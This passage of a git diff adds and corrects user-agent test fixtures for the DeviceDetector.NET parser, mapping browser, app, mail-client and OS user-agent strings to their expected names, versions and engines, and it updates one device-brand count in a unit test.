Chrome/120.0.6099.230 Mobile Safari/537.36 AirWatchBrowser/23.12.1.1 + client: + type: browser + name: VMware AirWatch + version: 23.12.1.1 + engine: Blink + engine_version: 120.0.6099.230 + family: Chrome + headers: + http-x-requested-with: com.airwatch.browser +- + user_agent: Mozilla/5.0 (Linux; Android 12; Pixel 4a Build/SQ3A.220705.003.A1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/105.0.5195.136 Mobile Safari/537.36 ManagedBrowser/1.3.4442.3 + client: + type: browser + name: Intune Managed Browser + version: 1.3.4442.3 + engine: Blink + engine_version: 105.0.5195.136 + family: Chrome + headers: + http-x-requested-with: com.microsoft.intune.mam.managedbrowser +- + user_agent: Mozilla/5.0 (Linux; Android 12; Infinix X6515 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/105.0.5195.136 Mobile Safari/537.36 Bang/3.3 + client: + type: browser + name: Bang + version: "3.3" + engine: Blink + engine_version: 105.0.5195.136 + family: Chrome + headers: + http-x-requested-with: com.tencent.bang +- + user_agent: Mozilla/5.0 (Linux; Android 10; Pixel Build/QP1A.190711.019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Mobile Safari/537.36 Ask.com Mobile Browser + client: + type: browser + name: Ask.com + version: "" + engine: Blink + engine_version: 76.0.3809.132 + family: Chrome + headers: + http-x-requested-with: com.ask.browser +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Mobile/15E148 Safari/605.1.15 Ghostery + client: + type: browser + name: Ghostery Privacy Browser + version: "" + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Mobile/15E148 Safari/605.1.15 Ghostery Dawn + client: + type: browser + name: Ghostery Privacy Browser + version: "" + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Mobile/15E148 Safari/605.1.15 Ghostery Private Browser + client: + type: browser + name: Ghostery Privacy Browser + version: "" + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: GoKu-iOS/1.0.5b1 (iPhone; iPhone OS 16.1) (Browser) + client: + type: browser + name: GoKu + version: 1.0.5 + engine: WebKit + engine_version: + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Mobile/15E148 Safari/605.1.15 Cliqz + client: + type: browser + name: Cliqz + version: + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/121.0.6167.178 Mobile 18+/5 Safari/537.36 + client: + type: browser + name: 18+ Privacy Browser + version: "5" + engine: Blink + engine_version: 121.0.6167.178 + family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 13; SM-A528B Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/117.0.0.0 Mobile Safari/537.36 SurfyBrowser/2.41 + client: + type: browser + name: Surfy Browser + version: "2.41" + engine: Blink + engine_version: 117.0.0.0 + family: + headers: + http-x-requested-with: com.outcoder.browser +- + user_agent: Mozilla/5.0 (Linux; Android 11; SM-G977B Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Safari/537.36 GinxDroid/90.11.1.9 + client: + type: browser + name: GinxDroid Browser + version: 90.11.1.9 + engine: Blink + engine_version: 118.0.0.0 + family: Chrome + headers: + http-x-requested-with: ginxdroid.gdm +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Bluefy/3.3.4 + client: + type: browser + name: Bluefy + version: 3.3.4 + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.200 + client: + type: browser + name: Edge WebView + version: 115.0.1901.200 + engine: + engine_version: + family: Chrome + headers: + Sec-CH-UA: '"Not/A)Brand";v="99.0.0.0", "Microsoft Edge";v="115.0.1901.200", "Chromium";v="115.0.5790.171", "Microsoft Edge WebView2";v="115.0.1901.200"' + Sec-CH-UA-Full-Version: 115.0.1901.200 +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 11; SM-A705MN Build/RP1A.200720.012) + client: + type: browser + name: Chrome Webview + version: 117.0.5938.140 + engine: "" + engine_version: "" + family: Chrome + headers: + Sec-CH-UA: '"Android WebView";v="117.0.5938.140", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.140"' + Sec-CH-UA-Full-Version: 117.0.5938.140 +- + user_agent: Mozilla/5.0 (Linux; Android 12; XQ-AT72 Build/58.2.A.10.44; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.145 Mobile Safari/537.36 huaweioem (8.1.0.390) + client: + type: browser + name: 360 Secure Browser + version: "" + engine: Blink + engine_version: 81.0.4044.145 + family: Chrome + headers: + http-x-requested-with: com.qihoo.sonybrowser +- + user_agent: Mozilla/5.0 (Linux; Android 13; M2012K10C Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.145 Mobile Safari/537.36 + client: + type: browser + name: 360 Secure Browser + version: "" + engine: Blink + engine_version: 81.0.4044.145 + family: Chrome + headers: + http-x-requested-with: com.qihoo.contents +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.93 Safari/537.36 Viv/2.8.1664.40 + client: + type: browser + name: Vivaldi + version: 2.8.1664.40 + engine: Blink + engine_version: 77.0.3865.93 + family: Chrome +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.38 Safari/537.36 Brave/75 + client: + type: browser + name: Brave + version: 75.0.3770.38 + engine: Blink + engine_version: 75.0.3770.38 + family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 10; JNY-LX1 Build/HUAWEIJNY-L21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.93 Mobile Safari/537.36OnBrowserLite1.0 + client: + type: browser + name: OnBrowser Lite + version: "1.0" + engine: Blink + engine_version: 88.0.4324.93 + family: Chrome + headers: + http-x-requested-with: on.browser +- + user_agent: Mozilla/5.0 (iPad; CPU OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/9537.53 DiigoBrowser + client: + type: browser + name: Diigo Browser + version: + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/605.1.15 IOSTrueLocationBrowser/1.15.0 + client: + type: browser + name: TrueLocation Browser + version: 1.15.0 + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Version/16.6.1 Safari/605.1.15 Mogok/0.6 + client: + type: browser + name: Mogok Browser + version: "0.6" + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36 + client: + type: browser + name: Pluma + version: 119.0.0.0 + engine: "" + engine_version: "" + family: + headers: + Sec-CH-UA: '"Pluma";v="119.0.0.0", "Chromium";v="119.0.0.0", "Not?A_Brand";v="24.0.0.0"' + Sec-CH-UA-Full-Version: 119.0.0.0 +- + user_agent: Mozilla/5.0 (Linux; Android 14; SM-S906E Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/121.0.6167.178 Mobile Safari/537.36 + client: + type: browser + name: Tor Browser + version: "" + engine: Blink + engine_version: 121.0.6167.178 + family: Chrome + headers: + http-x-requested-with: org.torbrowser.torproject +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Safari/537.36 + client: + type: browser + name: PICO Browser + version: "" + engine: Blink + engine_version: 90.0.4430.210 + family: Chrome + headers: + http-x-requested-with: com.pico.browser.overseas +- + user_agent: Aplix_SANYO_browser/1.03 (Japanese) + client: + type: browser + name: Aplix + version: "1.03" + engine: + engine_version: + family: +- + user_agent: Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1) + client: + type: browser + name: AOL Explorer + version: "9.0" + engine: Trident + engine_version: + family: Internet Explorer +- + user_agent: Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; InfoPath.2; .NET CLR 2.0.50727; Alexa Toolbar + client: + type: browser + name: Acoo Browser + version: + engine: Trident + engine_version: + family: Internet Explorer +- + user_agent: Mozilla/5.0 (Linux; Android 8.1.0; vivo; vivo Y85; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.21 lite LeganBrowser/1.4.6.13 + client: + type: browser + name: Legan Browser + version: 1.4.6.13 + engine: Blink + engine_version: 76.0.3809.89 + family: Chrome +- + user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.74 Safari/537.36 WebDiscover/1.259.2 + client: + type: browser + name: WebDiscover + version: 1.259.2 + engine: Blink + engine_version: 41.0.2272.74 + family: Chrome +- + user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36 Qiyu/2.1.1.1 + client: + type: browser + name: Qiyu + version: 2.1.1.1 + engine: Blink + engine_version: 51.0.2704.63 + family: Chrome +- + user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 EastBrowser/3.0 + client: + type: browser + name: East Browser + version: "3.0" + engine: Blink + engine_version: 70.0.3538.110 + family: Chrome +- + user_agent: PB0.6b Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 + client: + type: browser + name: PirateBrowser + version: "0.6" + engine: Gecko + engine_version: "23.0" + family: Firefox +- + user_agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1 + client: + type: browser + name: K-Ninja + version: 2.1.1 + engine: Gecko + engine_version: 1.8.1.2 + family: Firefox +- + user_agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 MEGAUPLOAD 1.0 (Ubuntu-feisty) + client: + type: browser + name: Firefox + version: "" + engine: Gecko + engine_version: 1.8.1.3 + family: Firefox +- + user_agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 3.5.21022; GreenBrowser) + client: + type: browser + name: GreenBrowser + version: + engine: Trident + engine_version: + family: Internet Explorer +- + user_agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML like Gecko) Columbus/1.5.0.0 Safari/534.34 + client: + type: browser + name: Columbus Browser + version: 1.5.0.0 + engine: WebKit + engine_version: "534.34" + family: +- + user_agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Liri/0.4.0 + client: + type: browser + name: Liri Browser + version: 0.4.0 + engine: Blink + engine_version: 64.0.3282.140 + family: Chrome +- + user_agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) SlimBoat/1.1.54 Chrome/25.0.1364.97 Version/5.1 Safari/534.34 + client: + type: browser + name: SlimBoat + version: 1.1.54 + engine: Blink + engine_version: 25.0.1364.97 + family: Chrome +- + user_agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.9) Gecko/2009042318 Firefox/3.0.9 Wyzo/3.0.3 + client: + type: browser + name: Wyzo + version: 3.0.3 + engine: Gecko + engine_version: 1.9.0.9 + family: Firefox +- + user_agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1pre) Gecko/20090629 Vonkeror/1.0 + client: + type: browser + name: Vonkeror + version: "1.0" + engine: Gecko + engine_version: 1.9.1 + family: Firefox +- + user_agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0) Gecko/20110318 WebianShell/0.1 + client: + type: browser + name: Webian Shell + version: "0.1" + engine: Gecko + engine_version: "2.0" + family: Firefox +- + user_agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; mimic; rv:9.3.0) Clecko/20120101 Classilla/CFM + client: + type: browser + name: Classilla + version: + engine: Clecko + engine_version: 9.3.0 + family: Firefox +- + user_agent: w3m/0.52 + client: + type: browser + name: w3m + version: "0.52" + engine: Text-based + engine_version: + family: +- + user_agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; System75) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15 Ubuntu/22.04 Eolie/605.1.15 + client: + type: browser + name: Eolie + version: + engine: WebKit + engine_version: 605.1.15 + family: diff --git a/DeviceDetector.NET.Tests/Parser/Client/fixtures/library.yml b/DeviceDetector.NET.Tests/Parser/Client/fixtures/library.yml index 9d5201d..00ce6dd 100644 --- a/DeviceDetector.NET.Tests/Parser/Client/fixtures/library.yml +++ b/DeviceDetector.NET.Tests/Parser/Client/fixtures/library.yml @@ -611,3 +611,39 @@ type: library name: request version: "" +- + user_agent: qbhttp/1.0.0 + client: + type: library + name: QbHttp + version: 1.0.0 +- + user_agent: kiwi-tcms/13.0 + client: + type: library + name: Kiwi TCMS + version: 13.0 +- + user_agent: kiwi-tcms/12.6.1-Enterprise + client: + type: library + name: Kiwi TCMS + version: 12.6.1 +- + user_agent: tcms-api/12.9.1/Python 3.11.8 (main, Feb 7 2024, 04:02:05) [GCC 11.4.0] + client: + type: library + name: Kiwi TCMS API + version: 12.9.1 +- + user_agent: tcms-api/12.7/Java + client: + type: library + name: Kiwi TCMS API + version: 12.7 +- + user_agent: electron-fetch/1.0 electron (+https://github.com/arantes555/electron-fetch) + client: + type: library + name: Electron Fetch + version: "1.0" diff --git a/DeviceDetector.NET.Tests/Parser/Client/fixtures/mobile_app.yml b/DeviceDetector.NET.Tests/Parser/Client/fixtures/mobile_app.yml index 9400f69..8e23f69 100644 --- a/DeviceDetector.NET.Tests/Parser/Client/fixtures/mobile_app.yml +++ b/DeviceDetector.NET.Tests/Parser/Client/fixtures/mobile_app.yml @@ -165,7 +165,7 @@ user_agent: Mozilla/5.0 (Linux; Android 7.0; VIE-L09 Build/HUAWEIVIE-L09; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Mobile Safari/537.36 BingWeb/6.9.25207603 client: type: mobile app - name: BingWebApp + name: Microsoft Bing version: "6.9.25207603" - user_agent: Mozilla/5.0 (Linux; U; Android 4.1.2; fr-ca; LT30a Build/9.1.A.0.489) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 GSA/3.3.11.1069658.arm @@ -1047,7 +1047,7 @@ user_agent: Mozilla/5.0 (Linux; Android 10; NEN-L22 Build/HUAWEINEN-L22; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36 BingSapphire/21.6.390910305 client: type: mobile app - name: Microsoft Bing Search + name: Microsoft Bing version: 21.6.390910305 - user_agent: Mozilla/5.0 (Linux; Android 10; JNY-LX1 Build/HUAWEIJNY-L21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.93 Mobile Safari/537.36HiSearch/21.1.11.300 @@ -1389,7 +1389,7 @@ user_agent: Mozilla/5.0 (iPad; CPU OS 12_5_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/601.1 bingipadclient BingWeb client: type: mobile app - name: Bing iPad + name: Microsoft Bing version: - user_agent: Mozilla/5.0 (Windows NT 10.0; rv:80.0) Gecko/20100101 Firefox/80.0 anonymized by Abelssoft 1003141044 @@ -1611,7 +1611,7 @@ user_agent: Mozilla/5.0 (Linux; Android 11; JLN-LX3 Build/HUAWEIJLN-LX3; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.93 Mobile Safari/537.36 Sapphire/23.3.401205602 client: type: mobile app - name: Microsoft Bing Search + name: Microsoft Bing version: 23.3.401205602 - user_agent: Bitwarden_Mobile/2023.1.0 (Android 13; SDK 33; Model SM-F926B) @@ -1733,3 +1733,189 @@ type: mobile app name: WhatsApp Business version: 2.22.2 +- + user_agent: Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/112.0 Firefox/112.0 Freespoke/2.0.0 + client: + type: mobile app + name: Freespoke + version: 2.0.0 +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/113.1 Mobile/15E148 Safari/605.1.15 Freespoke/2.0.0 + client: + type: mobile app + name: Freespoke + version: 2.0.0 +- + user_agent: Google/303.0.605094169 CFNetwork/1410.1 Darwin/22.6.0 + client: + type: mobile app + name: Google Search App + version: 303.0.605094169 +- + user_agent: 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GoogleLens/303.0 Mobile/21C66 Safari/604.1 [WebViewInline]' + client: + type: mobile app + name: Google Lens + version: "303.0" +- + user_agent: SearchWithLens/289.0.577695730 CFNetwork/1404.0.5 Darwin/22.3.0 + client: + type: mobile app + name: Google Lens + version: 289.0.577695730 +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/605.1.15 CopilotSapphire/1.0.180000000 + client: + type: mobile app + name: Microsoft Copilot + version: 1.0.180000000 +- + user_agent: Mozilla/5.0 (Linux; Android 11; BV4900Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.127 Mobile Safari/537.36 Instabridge/21.9.0 + client: + type: mobile app + name: Instabridge + version: 21.9.0 +- + user_agent: Mozilla/5.0 (Linux; Android 11; MI 9 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/106.0.5249.126 Mobile Safari/537.36 Whatplay + client: + type: mobile app + name: Whatplay + version: "" +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 WebView MetaMaskMobile + client: + type: mobile app + name: MetaMask + version: "" +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3.1 Mobile/15E148 Safari/604.1 Lark/5.29.6 LarkLocale/en_US ChannelName/Lark LKBrowserIdentifier/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx + client: + type: mobile app + name: Lark + version: 5.29.6 +- + user_agent: 'Mozilla/5.0 App/2000002 Plu/2012 channel/0main (Linux; Android 12; LIO-AN00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.2526.83 Mobile Safari/537.36 SearchCraft/2.6.1 (Baidu; P2 11.3.1)' + client: + type: mobile app + name: SearchCraft + version: 2.6.1 +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 DeFiWallet/1.43.0 + client: + type: mobile app + name: Crypto.com DeFi Wallet + version: 1.43.0 +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/605.1.15/Clipbox+/2.2.8 + client: + type: mobile app + name: Clipbox+ + version: 2.2.8 +- + user_agent: 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]/9.24.1488' + client: + type: mobile app + name: LinkedIn + version: 9.24.1488 +- + user_agent: Mozilla/5.0 (iPhone; CPU OS 16.3.1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GoogleWv/1.0 (WKWebView) OPA/1.9.78001 CoreAssistant/com.google.OPA + client: + type: mobile app + name: Google Assistant + version: 1.9.78001 +- + user_agent: Mozilla/5.0 (Linux; Android 10; Redmi Y3 Build/QKQ1.191008.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/121.0.6167.178 Mobile Safari/537.36 appname/HideX appverc/30517004 + client: + type: mobile app + name: HideX + version: +- + user_agent: Mozilla/5.0 (Linux; Android 10; MAR-LX1M Build/HUAWEIMAR-L01MEA; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.143 Mobile Safari/537.36 HMSCore/6.13.0.302 + client: + type: mobile app + name: Huawei Mobile Services + version: 6.13.0.302 +- + user_agent: Mozilla/5.0 (Linux; Android 12; moto g(30) Build/S0RCS32.41-10-19-14) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/121.0.6167.178 Mobile Safari/537.36 appname/PLAYit appverc/20714015 + client: + type: mobile app + name: PLAYit + version: +- + user_agent: 'Mozilla/5.0 Autopliuslt/7.8.0 EmbeddedBrowser (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile DeviceUID: VendorUID: AppPkgID: lt.plius.auto' + client: + type: mobile app + name: Autoplius.lt + version: 7.8.0 +- + user_agent: HCom/2024.5.0 Dalvik/2.1.0 (Linux; U; Android 9; FIG-LX1 Build/HUAWEIFIG-L11) + client: + type: mobile app + name: Hotels.com + version: 2024.5.0 +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 CoinbaseRetail/11.10.8 (build:11100008; iOS 15.2) + client: + type: mobile app + name: Coinbase + version: 11.10.8 +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YJApp-IOS jp.co.yahoo.ipn.appli/4.107.0 + client: + type: mobile app + name: Yahoo! Japan + version: 4.107.0 +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/105.0.3 (x64 de) Anonymisiert durch AlMiSoft Browser-Anonymisierer 2477101 + client: + type: mobile app + name: Browser-Anonymizer + version: +- + user_agent: Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G36 Safari/601.1 bingipadclient + client: + type: mobile app + name: Microsoft Bing + version: +- + user_agent: De Telegraaf/6.8.11 (Android 11; en_US) + client: + type: mobile app + name: De Telegraaf + version: 6.8.11 +- + user_agent: waipu/2023.25.0-40b5976d4b (Phone; CUBOT; NOTE 7; waipu; Android 10) + client: + type: mobile app + name: waipu.tv + version: 2023.25.0 +- + user_agent: Mozilla/5.0 (Linux; Android 8.1.0; C12 Pro Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/73.0.3683.90 Mobile Safari/537.36 ZenKit/1.40.1.0-internalNewdesign-Zen + client: + type: mobile app + name: Zen + version: 1.40.1.0 +- + user_agent: Mozilla/5.0 (Linux; arm_64; Android 11; IN2010) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.216 BroPP/1.0 SA/3 YaSearchBrowser/21.53.1 YaApp_Android/21.53.1 ru.yandex.searchplugin/21.53.210503023 (OnePlus IN2010; Android 11) ZenKit/21.5.3 + client: + type: mobile app + name: Zen + version: 21.5.3 +- + user_agent: Redditor/152 CFNetwork/1331.0.7 Darwin/21.4.0 + client: + type: mobile app + name: Redditor + version: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 TopBuzz com.topbuzz.videoen/8.8.8 (iPhone; iOS 15.1; en; WIFI) + client: + type: mobile app + name: BuzzVideo + version: 8.8.8 +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/KPN_Veilig 18.5.274904 18.5.274904 16.0 Safari/605.1.15 + client: + type: mobile app + name: KPN Veilig + version: 18.5.274904 diff --git a/DeviceDetector.NET.Tests/Parser/Client/fixtures/pim.yml b/DeviceDetector.NET.Tests/Parser/Client/fixtures/pim.yml index 7d69e21..96e16f2 100644 --- a/DeviceDetector.NET.Tests/Parser/Client/fixtures/pim.yml +++ b/DeviceDetector.NET.Tests/Parser/Client/fixtures/pim.yml @@ -233,3 +233,21 @@ type: pim name: Microsoft Outlook version: 16.0.12329 +- + user_agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36 Foxmail/7.2.25.213 + client: + type: pim + name: Foxmail + version: 7.2.25.213 +- + user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 MailMasterPC/4.15.6.1016 Safari/537.36 + client: + type: pim + name: Mail Master + version: 4.15.6.1016 +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79 MailMaster/6.5.3.1210 + client: + type: pim + name: Mail Master + version: 6.5.3.1210 diff --git a/DeviceDetector.NET.Tests/Parser/Devices/DevicesTest.cs b/DeviceDetector.NET.Tests/Parser/Devices/DevicesTest.cs index ed66024..44edb5c 100644 --- a/DeviceDetector.NET.Tests/Parser/Devices/DevicesTest.cs +++ b/DeviceDetector.NET.Tests/Parser/Devices/DevicesTest.cs @@ -23,7 +23,7 @@ public void DeviceBrandsTest() .DeviceBrands .Count .Should() - .Be(1791); + .Be(1796); } } } diff --git a/DeviceDetector.NET.Tests/Parser/fixtures/oss.yml b/DeviceDetector.NET.Tests/Parser/fixtures/oss.yml index 76f1a96..d149bac 100644 --- a/DeviceDetector.NET.Tests/Parser/fixtures/oss.yml +++ b/DeviceDetector.NET.Tests/Parser/fixtures/oss.yml @@ -276,7 +276,7 @@ os: name: OS/2 short_name: OS2 - version: + version: "4.5" platform: family: IBM - @@ -3428,7 +3428,7 @@ os: name: Lineage OS short_name: LEN - version: "" + version: "18" platform: "" family: Android - @@ -4190,6 +4190,49 @@ version: "14.6" platform: family: iOS +- + user_agent: Mozilla/5.0 (Macintosh; ARM Mac OS X) AppleWebKit/538.15 (KHTML, like Gecko) Safari/538.15 Version/6.0 Raspbian/8.0 (1:3.8.2.0-0rpi27rpi1g) Epiphany/3.8.2 + os: + name: Raspbian + short_name: RAS + version: "8.0" + platform: ARM + family: GNU/Linux +- + user_agent: Mozilla/5.0 (Macintosh; ARM Mac OS X) AppleWebKit/538.15 (KHTML, like Gecko) Safari/538.15 Version/6.0 Raspbian/9.0 (1:3.8.2.0-0rpi28) Epiphany/3.8.2 + os: + name: Raspbian + short_name: RAS + version: "9.0" + platform: ARM + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36 + os: + name: Raspberry Pi OS + short_name: PIO + version: "" + platform: ARM + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 UOS + os: + name: UOS + short_name: UOS + version: "" + platform: x64 + family: GNU/Linux +- + user_agent: 'Mozilla/5.0 (X11; Linux x86_64; PICO 4 OS5.4.0 like Quest) AppleWebKit/537.36 (KHTML, like Gecko) PicoBrowser/3.3.22 Chrome/105.0.5195.68 VR Safari/537.36 OculusBrowser/7.0' + os: + name: PICO OS + short_name: PIC + version: 5.4.0 + platform: x64 + family: Android + headers: + Sec-CH-UA-Platform: "Android" + Sec-CH-UA-Platform-Version: "10.0.0" - user_agent: WhatsApp/2.22.9.78 A os: @@ -4230,3 +4273,197 @@ version: "" platform: "" family: Mac +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 11; Smart TV Build/RP1A.200622.001) + os: + name: Android TV 